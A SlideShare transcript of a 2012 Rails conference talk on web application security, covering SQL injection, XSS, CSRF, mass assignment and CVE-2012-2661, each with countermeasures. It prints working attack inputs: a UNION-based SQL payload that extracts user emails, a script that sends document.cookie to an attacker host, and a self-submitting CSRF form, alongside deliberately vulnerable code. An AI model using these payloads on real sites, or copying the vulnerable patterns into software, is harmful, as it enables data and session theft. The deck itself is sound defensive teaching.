SlideShare a Scribd company logo
WEB APPLICATION
SECURITY IN RAILS
Uri Nativ
RailsIsrael 2012
Uri Nativ
@unativ
Head of Engineering
Klarna Tel Aviv
#railsisrael
Buy Now, Pay Later
1.  Shop online
2.  Receive your goods
3.  Pay
Alice
Bob
Alice and Bob
Alice and Bob
Alice and Bob
Like Duh?
Alice and Bob
<html>
<title>
MicroBlogging
</title>
...
#$@#
%#@&*#$
Alice and Bob
Hack it!
SQL INJECTION
@results = Micropost.where(
"content LIKE '%#{params[:query]%’”).all
SELECT 'microposts'.*
FROM 'microposts’
WHERE (content LIKE ’%SEARCHSTRING%’)
SQL Injection
SELECT 'microposts'.*
FROM 'microposts'
WHERE (content LIKE '%SEARCHSTRING%')
SQL Injection
XXX')
UNION
SELECT 1, email, 1, 1, 1
FROM users --
SELECT 'microposts'.*
FROM 'microposts'
WHERE (content LIKE '%XXX')
UNION
SELECT 1, email, 1, 1, 1
FROM users -- %')
SQL Injection
SELECT 'microposts'.*
FROM 'microposts'
WHERE (content LIKE '%XXX')
UNION
SELECT 1, email, 1, 1, 1
FROM users -- %')
SQL Injection
@results = Micropost.where(
"content LIKE ?’, "%#{params[:query]}%”)
).all
SQL Injection - countermeasures
CROSS SITE
SCRIPTING
XSS
<span class="content">
<%= raw feed_item.content %>
</span>
XSS
<script>
document.write('<img src=
"http://www.attacker.com/x.png?' +
document.cookie + ’”
>');
</script>
XSS
<span class="content">
<%= sanitize feed_item.content,
:tags => ['a’]
%>
</span>
XSS - countermeasures
The Attack:
Execute arbitrary code / defacement
JSON is not escaped by default
CSS can be injected as well
Countermeasures:
Never trust data from the users
Use Markdown (e.g. Redcarpet gem)
XSS
CROSS
SITE
REQUEST
FORGERY
CSRF
www.blog.com
	
CSRF
1
www.blog.com
	
2
Click
here for
free iPad
www.freeiPad.com
<form name=“evilform”
action=“www.blog.com/….”>
…
<script>
document.evilform.submit()
</script>
CSRF
www.blog.com
	
www.freeiPad.com
<form name=“evilform”
action=“www.blog.com/….”>
…
<script>
document.evilform.submit()
</script>
CSRF
3
www.blog.com
	
www.freeiPad.com
<form name=“evilform”
action=“www.blog.com/….”>
…
<script>
document.evilform.submit()
</script>
POST /blogpost
Content=“Kick Me!”
CSRF
4
<input
name ="authenticity_token”
type ="hidden”
value ="vyFdEgofzU4oSJJn5wypxq4“
/>
CSRF – Authenticity Token
routes.rb
match '/delete_post/:id',
to: 'microposts#destroy'
CSRF
class ApplicationController <
ActionController::Base
# commented to easily test forms
# protect_from_forgery
...
end
CSRF
The Attack:
Attacker send requests on the victim’s behalf
Doesn’t depend on XSS
Attacked doesn’t need to be logged-in
Countermeasures:
Use Rails CSRF default protection (do not override it)
Use GET for queries
Use POST/DELETE/… when updating data
Add Sign-out link
CSRF
RAILS SPECIFIC
ATTACKS
MASS
ASSIGNMENT
boo[gotcha!]
def create
@user = User.new(params[:user])
...
end
Mass Assignment
def create
@user = User.new(params[:user])
...
end
Mass Assignment
{ :name => “gotcha”,
:admin => true }
Blacklist
class User < ActiveRecord::Base
attr_protected :admin
...
end
Mass Assignment - countermeasures
Whitelist
class User < ActiveRecord::Base
attr_accessible
:name,
:email,
:password,
:password_confirmation
...
Mass Assignment - countermeasures
Global Config (whitelist)
config.active_record.
whitelist_attributes = true
Mass Assignment - countermeasures
The Attack:
Unprotected by default :(
Countermeasures:
Whitelist
Blacklist
Strong Parameters (whitelist)
Rails 4
Logic moved to the controller
Available as a Gem
Mass Assignment
SQL INJECTION
VULNERABILITY IN
RUBY ON RAILS
(CVE-2012-2661)
User.where(
:id => params[:user_id],
:reset_token => params[:token]
)
SELECT users.*
FROM users
WHERE users.id = 6
AND users.reset_token = ’XYZ'
LIMIT 1
CVE-2012-2661 SQL Injection
/users/6/password/edit?token[]
SELECT users.*
FROM users
WHERE users.id = 6
AND users.reset_token IS NULL
LIMIT 1
CVE-2012-2661 SQL Injection
The Attack:
SQL Injection - Affected version: Rails < 3.2.4
Countermeasures:
Upgrade to Rails 3.2.4 or higher
CVE-2012-2661 SQL Injection
-------------------------------------------------
| Warning Type | Total |
-------------------------------------------------
| Cross Site Scripting | 2 |
| Cross-Site Request Forgery | 1 |
| Denial of Service | 1 |
| Redirect | 1 |
| SQL Injection | 4 |
-------------------------------------------------
Brakeman
CONCLUSIONS
Make Love not War
Know the threats – OWASP top 10
Follow Rails conventions
Ruby on Rails Security Guide
http://guides.rubyonrails.org/security.html
The Ruby on Rails security project
http://www.rorsecurity.info
Rails security mailing list:
http://groups.google.com/group/rubyonrails-security
Conclusions
Daniel Amselem for pair programming
Irit Shainzinger for the cool graphics
Michael Hartl for his microblogging app tutorial
Thanks to…
Pay Online – Safer and Simpler
https://github.com/unativ/sample_app

More Related Content

PDF
Server Side Swift with Swag
PDF
Search APIs in Spotlight and Safari
PDF
How to make workout app for watch os 2
PDF
async/await in Swift
PDF
Timothy N. Tsvetkov, Rails 3.1
PDF
Dan Webb Presentation
PPT
Digesting jQuery
Server Side Swift with Swag
Search APIs in Spotlight and Safari
How to make workout app for watch os 2
async/await in Swift
Timothy N. Tsvetkov, Rails 3.1
Dan Webb Presentation
Digesting jQuery

What's hot (20)

PDF
第一次用Parse就深入淺出
PPTX
Database connectivity in python
PDF
Hacking the Mesh: Extending Istio with WebAssembly Modules | DevNation Tech Talk
KEY
Geotalk presentation
KEY
Sprout core and performance
PDF
Rails 3: Dashing to the Finish
PDF
History of jQuery
PDF
jQuery in 15 minutes
PDF
Node.js and Parse
PDF
Python my SQL - create table
PDF
Java Configuration Deep Dive with Spring
PDF
Fewd week6 slides
PDF
Elasticsearch for SQL Users
PDF
Future of Web Apps: Google Gears
PDF
Django Rest Framework and React and Redux, Oh My!
PDF
MVS: An angular MVC
PDF
Webpack packing it all
PDF
Stored Procedure
PDF
Euruko 2009 - DataObjects
PDF
Rethink Async With RXJS
第一次用Parse就深入淺出
Database connectivity in python
Hacking the Mesh: Extending Istio with WebAssembly Modules | DevNation Tech Talk
Geotalk presentation
Sprout core and performance
Rails 3: Dashing to the Finish
History of jQuery
jQuery in 15 minutes
Node.js and Parse
Python my SQL - create table
Java Configuration Deep Dive with Spring
Fewd week6 slides
Elasticsearch for SQL Users
Future of Web Apps: Google Gears
Django Rest Framework and React and Redux, Oh My!
MVS: An angular MVC
Webpack packing it all
Stored Procedure
Euruko 2009 - DataObjects
Rethink Async With RXJS
Ad

Similar to &lt;x> Rails Web App Security Title (20)

PDF
Web Application Security in Rails
PPTX
Web Security - Hands-on
PDF
The top 10 security issues in web applications
PPTX
Hacking 101 (Session 2)
PDF
PHP Secure Programming
PDF
DEF CON 27 -OMER GULL - select code execution from using sq lite
PPT
Php & Web Security - PHPXperts 2009
PPT
Advanced Sql Injection ENG
PPTX
Playing With (B)Sqli
PDF
Whatever it takes - Fixing SQLIA and XSS in the process
PDF
Mysql python
PPTX
Mysql python
KEY
[Coscup 2012] JavascriptMVC
PPTX
Hacking 101 3
PPTX
Sql injection
PPT
SQL Injection Attacks
PPTX
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
PDF
Php Security - OWASP
PDF
MySQL server security
PPTX
Scaling asp.net websites to millions of users
Web Application Security in Rails
Web Security - Hands-on
The top 10 security issues in web applications
Hacking 101 (Session 2)
PHP Secure Programming
DEF CON 27 -OMER GULL - select code execution from using sq lite
Php & Web Security - PHPXperts 2009
Advanced Sql Injection ENG
Playing With (B)Sqli
Whatever it takes - Fixing SQLIA and XSS in the process
Mysql python
Mysql python
[Coscup 2012] JavascriptMVC
Hacking 101 3
Sql injection
SQL Injection Attacks
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
Php Security - OWASP
MySQL server security
Scaling asp.net websites to millions of users
Ad

Recently uploaded (20)

PPTX
Learn how to use Portable Grinders Safely
PPTX
Learn how to prevent Workplace Incidents?
PPTX
Pradeep Kumar Roll no.30 Paper I.pptx....
PDF
⚡ Prepping for grid failure_ 6 Must-Haves to Survive Blackout!.pdf
DOCX
Boost your energy levels and Shred Weight
PPTX
PERDEV-LESSON-3 DEVELOPMENTMENTAL STAGES.pptx
PPTX
Identity Development in Adolescence.pptx
PPTX
UNIVERSAL HUMAN VALUES for NEP student .pptx
PDF
Red Light Wali Muskurahat – A Heart-touching Hindi Story
PDF
Quiet Wins: Why the Silent Fish Survives.pdf
PPTX
Chapter-7-The-Spiritual-Self-.pptx-First
PPTX
Commmunication in Todays world- Principles and Barriers
PPTX
Emotional Intelligence- Importance and Applicability
PDF
Top 10 Visionary Entrepreneurs to Watch in 2025
PDF
SEX-GENDER-AND-SEXUALITY-LESSON-1-M (2).pdf
PPT
proper hygiene for teenagers for secondary students .ppt
PPTX
show1- motivational ispiring positive thinking
PPTX
How to Deal with Imposter Syndrome for Personality Development?
PPTX
Travel mania in india needs to change the world
PDF
Elle Lalli on The Role of Emotional Intelligence in Entrepreneurship
Learn how to use Portable Grinders Safely
Learn how to prevent Workplace Incidents?
Pradeep Kumar Roll no.30 Paper I.pptx....
⚡ Prepping for grid failure_ 6 Must-Haves to Survive Blackout!.pdf
Boost your energy levels and Shred Weight
PERDEV-LESSON-3 DEVELOPMENTMENTAL STAGES.pptx
Identity Development in Adolescence.pptx
UNIVERSAL HUMAN VALUES for NEP student .pptx
Red Light Wali Muskurahat – A Heart-touching Hindi Story
Quiet Wins: Why the Silent Fish Survives.pdf
Chapter-7-The-Spiritual-Self-.pptx-First
Commmunication in Todays world- Principles and Barriers
Emotional Intelligence- Importance and Applicability
Top 10 Visionary Entrepreneurs to Watch in 2025
SEX-GENDER-AND-SEXUALITY-LESSON-1-M (2).pdf
proper hygiene for teenagers for secondary students .ppt
show1- motivational ispiring positive thinking
How to Deal with Imposter Syndrome for Personality Development?
Travel mania in india needs to change the world
Elle Lalli on The Role of Emotional Intelligence in Entrepreneurship

&lt;x> Rails Web App Security Title